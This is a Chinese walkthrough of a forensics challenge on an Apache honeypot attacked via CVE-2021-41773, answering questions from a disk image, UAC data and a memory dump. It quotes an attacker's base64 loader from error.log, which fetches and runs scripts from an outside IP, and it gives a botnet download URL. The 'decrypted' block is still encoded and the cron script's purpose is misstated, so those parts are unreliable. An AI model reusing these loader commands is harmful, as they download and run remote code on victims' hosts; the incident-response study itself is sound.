涉及的镜像文件:
sdb.vhd
uac.tar
ubuntu.20211208.mem
需要利用的工具:
volatility3
volatility2.6.1
FTK/Autopsy
Strings
题干:
容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。
您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题
0x01 - 问题1
文件 => sdb.vhd
有一个脚本每分钟运行一次以执行清理。文件的名称是什么?
直接用FTK打开磁盘镜像文件,找到计划任务的路径进去看就行
这个 bash 脚本的作用是查找正在运行的进程中包含 "kinsing" 或 "kdevtmp" 字符串,并且进程的可执行文件路径包含 "/tmp" 的进程。然后,它使用 kill -9 来终止这些进程。接着,它更改以 "k" 开头的文件在 /tmp 目录下的所有者为 root,并将这些文件的权限设置为只读(444)他的目的就是杀掉防护进程
文件 => sdb.vhd
题目1中的脚本终止与两个比特币矿工恶意软件文件关联的进程。第一个恶意软件文件的名称是什么?
#!/bin/bash
for PID in `ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp" | awk '{ print $2 }'`
do
kill -9 $PID
done
chown root.root /tmp/k*
chmod 444 /tmp/k*
kinsing
文件 => sdb.vhd
题目1中的脚本更改某些文件的权限。他们的新权限是什么?
444
文件 => sdb.vhd
僵尸网络代理文件的 sha256是什么?
这个文件在/tmp 文件夹下,此题有些牵强了,因为光凭借文件的名字没人知道这是个啥,所以这里推荐大家用FTK把磁盘映射搞起来,然后用病毒扫描工具扫一下
文件 => sdb.vhd Q#4 中的僵尸网络名称是什么?
直接把vt扫描结果放进去就行
Tsunami
文件 => sdb.vhd
哪个 IP 地址与 题目4中僵尸网络代理文件的创建时间戳匹配?
先看一下代理文件下载时间
然后去阿帕奇日志里找到了东西,这个题其实也有点牵强,但是翻日志确实是应急必须做的
141.135.85.36
文件 => sdb.vhd
攻击者下载僵尸网络代理使用的URL是什么?
这道题是在error.log里找到的,不知道为什么会出现在错误日志里
http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86
文件 => sdb.vhd
攻击者下载并执行恶意脚本,随后删除自身,文件的名称是什么?
此题在error.log里看到了,这道题其实到最后我也没做出来,太过于牵强了,简直是大海捞针一样
[Sun Nov 14 01:25:50.735078 2021] [dumpio:trace7] [pid 4449:tid 139978856150784] mod_dumpio.c(103): [client 116.202.187.77:56590] mod_dumpio: dumpio_in (data-HEAP): Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp
解密后:
CcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 & echo 'Done'; else echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 & fi
文件 => sdb.vhd
攻击者下载了一些 sh 脚本。这些sh文件的名称是什么?
还是看error.log
strings error_log | grep -E '\.sh'
只是不知道为啥会出现在error.log里面
0_cron.sh, 0_linux.sh, ap.sh
文件 => UAC
两个可疑进程正在从已删除的目录运行。他们的 PID 是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\lsof_-nPl.txt
过滤所有的deleted关键字
6388,20645
文件 => UAC
与上题第二个 PID 关联的可疑命令行是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\ps_auxwwwf.txt
sh .src.sh
文件 => UAC
UAC 从 第10道题目的第二个进程收集了一些数据。攻击中使用的远程 IP 地址和远程端口是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\\live_response\process\proc\20645\environ.txt
116.202.187.77:56590
文件 => UAC
哪个用户负责执行 第11题中的命令?
daemon
文件 => UAC
两个可疑的 shell 进程正在从 tmp 文件夹运行。他们的 PID 是什么?
strings lsof_-nPl.txt | grep '/tmp'
15853,21785
文件 => ubuntu.20211208.mem
捕获的内存的 MAC 地址是多少?
这里需要使用vol3版本,因为vol2.6.1无论是哪个版本使用imageinfo都是没有任何响应
python vol.py -f ../ubuntu.20211208.mem banner
这里需要定向配置了
这里使用的docker
首先先在系统根路径下把volatility-2.6.1整个拷贝过去
我们需要用的是里面的/volatility-2.6.1/tools/linux 里面的makefile文件和modules.c文件
在系统根路径运行以下命令,首先更新apt-get,然后安装docker,最后是运行容器
apt-get update
apt install docker.io
docker run -it --rm -v $PWD://volatility-2.6.1 ubuntu:18.04 /bin/bash
cd /volatility-2.6.1/tools/linux
然后更新容器,安装dwarfdump make zip等命令,同时在modules.c文件加入一句话
MODULE_LICENSE("GPL")
直接在末尾也可以
apt-get update
apt-get install -y build-essential dwarfdump make zip
apt-get install -y linux-image-5.4.0-1059-azure linux-headers-5.4.0-1059-azure
make
第一次执行make的时候,报错了,不知道为啥他找的是kali的路径,所以执行以下命令手动make一下,由于makefile的报错,所以dwarfdump 也得手动
make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/root/" modules
dwarfdump -di module.ko > module.dwarf
zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure
同时如果不修改modules.c就会报错
全部执行完毕后不报错了
然后去自己物理机的目录就能找到压缩包了
把Ubuntu-azure.zip拷贝到/volatility-2.6.1/volatility/plugins/linux
试着执行一下,成功了,不容易
正常玩法
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig
当然了,环境配不出来可以strings过滤
strings ubuntu.20211208.mem | grep -E -o '([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})'
0x16 - 问题16
文件 => ubuntu.20211208.mem
来自 Bash 历史记录。攻击者下载了一个 sh 脚本。文件的名称是什么?
正常玩法:
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash
太多了
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash | grep -i '\.sh'
unk.sh
同样也可以在FTK工具中利用第一个镜像找到文件